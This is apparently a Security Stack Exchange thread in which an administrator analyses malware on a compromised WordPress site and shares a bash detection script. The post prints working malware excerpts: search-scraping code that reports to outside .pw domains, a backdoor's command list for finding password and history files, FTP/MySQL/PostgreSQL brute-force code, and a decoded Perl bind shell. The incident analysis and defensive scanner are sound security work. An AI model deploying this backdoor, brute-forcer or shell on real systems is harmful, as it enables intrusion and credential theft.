6

I would like to know if anyone knows where does this attack came from?

One of our customer's sites was infected by a code which generated several files like:

0b37a.php.suspected
5394bb9efbe.php
62142859e75.php.suspected
aa.php
inl.php
ini_ui-elements.php
site/
oniyur/
oniyur.zip
tondjr/
tondjr.zip
ui-elements.php
vlomaw/
vlomaw.zip
zrxd/

Looking into that code, it all points that the objective is to flood clicks to several sites. It calls my attention that it first look for some results in search engines and then redirect the results to another site. For the sake of research, this is what it looks like:

$keyword = str_replace("-", "+", $_GET["vm"]);
curl_setopt($ch, CURLOPT_URL, "http://boriskq.pw/story2.php?q=$query_pars_2&pass=qwerty8");
for ($page=1;$page<3;$page++)
    {
     $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.ask.com/web?q=$query_pars_2&qo=pagination&qsrc=998&page=$page");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');
$result = curl_exec($ch);
curl_close($ch);
//echo $result;
$result = str_replace("\r\n", "", $result);
$result = str_replace("\n", "", $result);
preg_match_all ("#PartialSearchResults-item-abstract\">(.*)</p>#iU",$result,$m);
foreach ($m[1] as $a) $text .= $a;
    }

            for ($google_n=0;$google_n<11;$google_n=$google_n+10)
    {
        $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.google.com/search?q=$query_pars_2&start=$google_n");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');
$result = curl_exec($ch);
curl_close($ch);
$result = str_replace("\r\n", "", $result);
$result = str_replace("\n", "", $result);
    preg_match_all ("#<span class=\"st\">(.*)</span>#iU",$result,$m);
        foreach ($m[1] as $a) $text .= $a;
}


for ($page=1;$page<13;$page=$page+10)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2&fr=yfp-t&fr2=sb-top&fp=1&b=$page&pz=10&bct=0&xargs=0");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
$result = curl_exec($ch);
curl_close($ch);
...
$ref = $_SERVER["HTTP_REFERER"];
$d = $_SERVER["HTTP_HOST"];
$mykeys  = $_GET["vm"];
...

At the end of the code, there is an obfuscated code which translate to a redirect to:

header("Location: http://caforyn.pw/for/77?d=$d&mykeys=$mykeys");

Looking at the log, I found many calls like:

GET /oniyur/rouimo.php?vm=amy-edmondson-psychological-safety-survey
GET /oniyur/rouimo.php?vm=nose-piercing-bump-popped-bleeding

It seems to wipe wp-includes and add one file inside the js/ directory: favicon_9e1c1c.ico

This file is really a php file with obfuscated code which is included by wp-settings.php.

I haven't have enough time to decode that file, but my guess is that its goal is to generate a bunch of pages inside the zrxd/ directory and to try to send emails using the mail() command. I detected it was trying to send emails using as sender random names like: [email protected], in which it was using our customer's real host name instead of "example.com". I couldn't see the content of such emails as they got blocked by the server, but I think it might contain links to pages inside the zrxd directory (which are something like: zero-investment-business-in-pune.php).

If you search for vlomaw.zip you will see that hundreds of sites are already infected.

The Wordpress site got automatically updated few days before it happened, so I'm blaming some of the plugins.

Do you know this attack (any link to any analysis of it)? Are there any vulnerability in any well-known plugin (or Wordpress) in which this attack has been already identified?

UPDATE

This is worst that I thought: The file ui-elements.php is a "backdoor" with MD5 password: 'edbc761d111e1b86fb47681d9f641468', which runs an extensive analysis of the server:

Note: skip to "SUMMARY" if you don't care so much about the code.

    "List dir" => "ls -lha",
    "list file attributes on a Linux second extended file system" => "lsattr -va",
    "show opened ports" => "netstat -an | grep -i listen",
    "process status" => "ps aux",
    "Find" => "",
    "find all suid files" => "find / -type f -perm -04000 -ls",
    "find suid files in current dir" => "find . -type f -perm -04000 -ls",
    "find all sgid files" => "find / -type f -perm -02000 -ls",
    "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
    "find config.inc.php files" => "find / -type f -name config.inc.php",
    "find config* files" => "find / -type f -name \"config*\"",
    "find config* files in current dir" => "find . -type f -name \"config*\"",
    "find all writable folders and files" => "find / -perm -2 -ls",
    "find all writable folders and files in current dir" => "find . -perm -2 -ls",
    "find all service.pwd files" => "find / -type f -name service.pwd",
    "find service.pwd files in current dir" => "find . -type f -name service.pwd",
    "find all .htpasswd files" => "find / -type f -name .htpasswd",
    "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
    "find all .bash_history files" => "find / -type f -name .bash_history",
    "find .bash_history files in current dir" => "find . -type f -name .bash_history",
    "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
    "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
    "Locate" => "",
    "locate httpd.conf files" => "locate httpd.conf",
    "locate vhosts.conf files" => "locate vhosts.conf",
    "locate proftpd.conf files" => "locate proftpd.conf",
    "locate psybnc.conf files" => "locate psybnc.conf",
    "locate my.conf files" => "locate my.conf",
    "locate admin.php files" =>"locate admin.php",
    "locate cfg.php files" => "locate cfg.php",
    "locate conf.php files" => "locate conf.php",
    "locate config.dat files" => "locate config.dat",
    "locate config.php files" => "locate config.php",
    "locate config.inc files" => "locate config.inc",
    "locate config.inc.php" => "locate config.inc.php",
    "locate config.default.php files" => "locate config.default.php",
    "locate config* files " => "locate config",
    "locate .conf files"=>"locate '.conf'",
    "locate .pwd files" => "locate '.pwd'",
    "locate .sql files" => "locate '.sql'",
    "locate .htpasswd files" => "locate '.htpasswd'",
    "locate .bash_history files" => "locate '.bash_history'",
    "locate .mysql_history files" => "locate '.mysql_history'",
    "locate .fetchmailrc files" => "locate '.fetchmailrc'",
    "locate backup files" => "locate backup",
    "locate dump files" => "locate dump",
    "locate priv files" => "locate priv"

... and ...

$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
    $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
    $explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}

$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);

... and ...

    if( $_POST['proto'] == 'ftp' ) {
        function wsoBruteForce($ip,$port,$login,$pass) {
            $fp = @ftp_connect($ip, $port?$port:21);
            if(!$fp) return false;
            $res = @ftp_login($fp, $login, $pass);
            @ftp_close($fp);
            return $res;
        }
    } elseif( $_POST['proto'] == 'mysql' ) {
        function wsoBruteForce($ip,$port,$login,$pass) {
            $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
            @mysql_close($res);
            return $res;
        }
    } elseif( $_POST['proto'] == 'pgsql' ) {
        function wsoBruteForce($ip,$port,$login,$pass) {
            $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
            $res = @pg_connect($str);
            @pg_close($res);
            return $res;
        }
    }
    $success = 0;
    $attempts = 0;
    $server = explode(":", $_POST['server']);
    if($_POST['type'] == 1) {
        $temp = @file('/etc/passwd');
        if( is_array($temp) )
            foreach($temp as $line) {
                $line = explode(":", $line);
                ++$attempts;
                if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                    $success++;
                    echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                }
                if(@$_POST['reverse']) {
                    $tmp = "";
                    for($i=strlen($line[0])-1; $i>=0; --$i)
                        $tmp .= $line[0][$i];
                    ++$attempts;
                    if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                    }
                }
            }
    } elseif($_POST['type'] == 2) {
        $temp = @file($_POST['dict']);
        if( is_array($temp) )
            foreach($temp as $line) {
                $line = trim($line);
                ++$attempts;
                if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
                    $success++;
                    echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                }
            }
    }
    echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";

... and ... (DECODED):

#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
    accept(CONN,S);
    if(!($pid=fork)) {
        die "Cannot fork" if (!defined $pid);
        open STDIN,"<&CONN";
        open STDOUT,">&CONN";
        open STDERR,">&CONN";
        exec $SHELL || die print CONN "Cant execute $SHELL\n";
        close CONN;
        exit 0;
    }
}

SUMMARY

  • 000fadc3d7.php (and alike) : Contain zip files which are decompressed as directories (e.g. vlomaw/).
  • *.suspected : It seems is a common extension used by malware (probably to trick some antivirus programs?), but not sure.
  • vlomaw/ , tondjr/ (and alike) : contains 4 parts:
    • lerbim.php : rename ".suspected" back to ".php"
    • vltkbjs.php / rouimo.php : Use GET parameter vm and perform calls to search engines and send keywords to http://caforyn.pw/for/77 (it blocks search engine bots)
    • sotpie/ : contains templates in HTML to fill with the keywords passed above (in .txt files)
    • wtuds/ : contains hundreds of HTML ads-pages example
  • zrxd/ (4 character directory) : contains hundred of HTML ads-pages with .php extension
  • bxv.php (2 to 3 character files) : Get DNS TXT records associated with the domain 'n.liveupdates.host' and redirect to the base64 value of them. (it blocks search engine bots). content
    • The redirection goes to: 215oursupport0501234.tk/n, which is an HTML with mainly a javascript code. raw content
      • The javascript opens the page: top.medheltping.org/?utm_term=6509243595344579136&clickverify=1 js decoded.
  • ui-elements.php and inl.php : a full-featured backdoor with UI: code
    • Provides information about the whole server (disk space, file permissions --like writable files--, disabled functions, global variables, cookies, open ports, processes, network configuration, network information, configuration files, password files, history files (like .bash_history and .mysql_history), backups, dumped sql files, users, php information, security software installed, etc).
    • Checks vulnerabilities in current kernel (against exploit-db.com)
    • Provides a brute-force code to break passwords in the server, ftp and databases using a remote dictionary (sent by POST)
    • Provides a PHP console to execute custom commands
    • Cookies decoder
    • Hash decoder using (hashcracking.ru, md5.rednoize.com and crackfor.me)
    • File downloader
    • Modifies file times
    • Dump databases if access was granted (including user/password tables)
    • Open a TCP port (possibly another backdoor) using Perl (see code above).
  • favicon_d5036c.ico : Its a PHP file which is included in many php files. It contains an encrypted code (key is the md5 of file path or the first 32 characters in the comment below the code) and install two files as plugin: php decoded
    • lnkblock.php : decode data stored in a cookie (unknown content) and insert it on the pages (?not sure). It calls a list of links from: //94.130.71.28/module/access/api?action=links (Ukraine) code
    • tds.php : This code send all browser information and cookies from visitors into a remote server and seems to inject Javascript into them. It contains encrypted configuration. code
      • The remote server is: //144.76.162.236/gal/test.php (Germany) code
  • evas.php : A file that could have been created inside uploads or other directories. It looks to me like a remote PHP console. code
  • db_connector.php : It looks to me that is a regular class which was modified to look like an authentic file. It creates a function which is sent by a request parameter called "sort" and execute it. code <-- I marked where the real code is.
  • p.txt : A file containing the MD5 hash of the password used by ui-elements. It was placed under wp-content/themes/

1 Answer 1

9

Getting more into this issue, I found out that someone was able to login into the dashboard as admin. A plugin was installed named apikey:

109.248.9.250 - - [06/Jan/2018:16:52:00 +0900] "GET /wp-login.php HTTP/1.1" 200
109.248.9.250 - - [06/Jan/2018:16:52:05 +0900] "GET /wp-admin/plugin-install.php?tab=upload HTTP/1.1" 200
109.248.9.250 - - [06/Jan/2018:16:52:06 +0900] "POST /wp-admin/update.php?action=upload-plugin HTTP/1.1" 200
109.248.9.250 - - [06/Jan/2018:16:52:08 +0900] "GET /wp-content/plugins/apikey/apikey.php?test=hello HTTP/1.1" 200
109.248.9.250 - - [06/Jan/2018:17:32:07 +0900] "POST /wp-content/plugins/apikey/apikey.php HTTP/1.1" 200

Because the server block IP addresses after few attempts, and the password is not an easy one, I think it was stolen from one of our customer's computers. After it was confirmed that the plugin was installed, the site received calls from many different IP addresses (which seems it was not a single person job, but more like a bot and distributed attack system).

For those people which are in the same situation, I recommend:

  • Be sure your php installation has eval, mail, exec and shell as disabled functions (at least).
  • You are using SMTP to send emails (contact form, etc).
  • Harden your login page (allow only by IP, keys or another extra layer).
  • Keep you site(s) in a container.
  • Update Wordpress manually and prevent apache user to be able to write files except in uploads/
  • Prevent php files being executed inside uploads/

After finding on the apache logs several calls to that file, its safe to say that the server is compromised (unfortunately, the customer's site is not running in a container).

I put all together in a small script that you can run to check one or more websites (or several containers if executed from host server) against this kind of attack.

CHECK SCRIPT

github : Updated version

#!/bin/bash
#
# Script to check for website malware
# author: lepe
# https://security.stackexchange.com/questions/177116/
# Ver. 2018-01-12
#
if [[ $1 == "--help" ]]; then
    echo "Usage: $0 [DIRECTORY]"
    echo "If DIRECTORY is not specified, will scan from current dir."
    echo
    echo "Note: This code won't alter any file in any way"
    echo
    echo "'DANGER' means that there is a high probability your site is infected."
    echo "'WARNING' means could be a false-positive as file names are common."
    echo
    echo "To be sure, check those files with a text editor (be sure to check files with wordwrap on)"
    echo " --- Do not use your browser if they are php files --- "
    echo "If you confirm your website is infected, restore from a clean backup in a container."
    echo "It will return (exit) 0 if nothing found, 1 if warnings found and 2 if danger was found"
    exit
fi
if [[ -d $1 ]]; then
    directory=$1
fi
declare -a red=("*.suspected" "favicon_*.ico" "p.txt" "evas.php" "vlomaw.zip" "tondjr.zip" "lerbim.php" "sotpie" "wtuds" "inl.php" "zrxd" "polwxpyh.php" "admit.php" "ini_ui-elements.php" "sql.php")
declare -a yellow=("ui-elements.php" "uploader.php" "wp-update.php" "wp-app.php" "db_connector.php" "admin-menu.php" "wp-theme.php" "wp-category.php" "wp-search.php" "article.php" "stats.php")

ret_code=0 # 0: clean, 1: warn, 2: danger

echo "Searching for strange files..."
for i in "${red[@]}"
do
    test=$(find "$directory" -name "$i")
    if [[ $test != "" ]]; then
        echo
        echo "#####################[ DANGER ]###########################"
        echo "$test"
        echo "##########################################################"
        echo
        ret_code=2
    fi
done

echo "Searching for obfuscated includes..."
test=$(find "$directory" -name "*.php" -exec egrep -l "@include.*\\\x[0-9]" {} \;)
if [[ $test != "" ]]; then
    echo
    echo "#####################[ DANGER ]###########################"
    echo "$test"
    echo "##########################################################"
    echo
    ret_code=2
fi

echo "Searching for obfuscated code..."
for f in $(find "$directory" -name "*.php" -exec grep -l "GLOBALS" {} \;); do
    test=$(egrep -l "(\\\x[0-9]+){5}" "$f")
    if [[ $test != "" ]]; then
        echo
        echo "#####################[ DANGER ]###########################"
        echo "$test"
        echo "##########################################################"
        echo
        ret_code=2
    fi
done
# Be sure there are no php in /upload/
echo "Searching for PHP files inside upload directory..."
for d in $(find "$directory" -type d -name "upload*"); do
    test=$(find "$d" -name "*.php")
    if [[ $test != "" ]]; then
        echo
        echo "#####################[ DANGER ]###########################"
        echo "$test"
        echo "##########################################################"
        echo
        ret_code=2
    fi
done

echo "Searching for inline zip files ..."
test=$(find "$directory" -name "*.php" -exec egrep -l "gzinflate\(base64_decode" {} \;)
if [[ $test != "" ]]; then
    echo
    echo "#####################[ DANGER ]###########################"
    echo "$test"
    echo "##########################################################"
    echo
    ret_code=2
fi

echo "Searching for Injected code ..."
test=$(find "$directory" -name "*.php" -exec egrep -l "user_agent_to_filter|#TurtleScanner#|liveupdates.host|\"file test okay\"" {} \;)
if [[ $test != "" ]]; then
    echo
    echo "#####################[ DANGER ]###########################"
    echo "$test"
    echo "##########################################################"
    echo
    ret_code=2
fi

echo "Searching for possibly malicious files..."
for i in "${yellow[@]}"
do
    test=$(find "$directory" -name "$i")
    if [[ $test != "" ]]; then
        echo
        echo "#####################[ WARNING ]##########################"
        echo "$test"
        echo "##########################################################"
        echo
        if [[ $ret_code == 0 ]]; then
            ret_code=1
        fi
    fi
done

exit $ret_code
6
  • 4
  • If you still want an answer you should add this information to the original question and delete this answer, very interesting read anyways
    – HTDutchy
    Jan 9, 2018 at 12:46
  • 1
    @HTDutchy In this case, the reason the site got infected, was due to a leaked password, so there is no blame to any plugin or wordpress security flaw as far as I know. Thanks.
    – lepe
    Jan 10, 2018 at 1:40
  • I have added a summary of all my findings in case someone is interested ;)
    – lepe
    Jan 10, 2018 at 4:36
  • 1
    Just a side note, I can recommend the wordfence plugin as an easy starting point for basic system hardening and monitoring, for example get an email when an admin logs in where u can see the Ip and country Apr 5, 2018 at 8:49

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .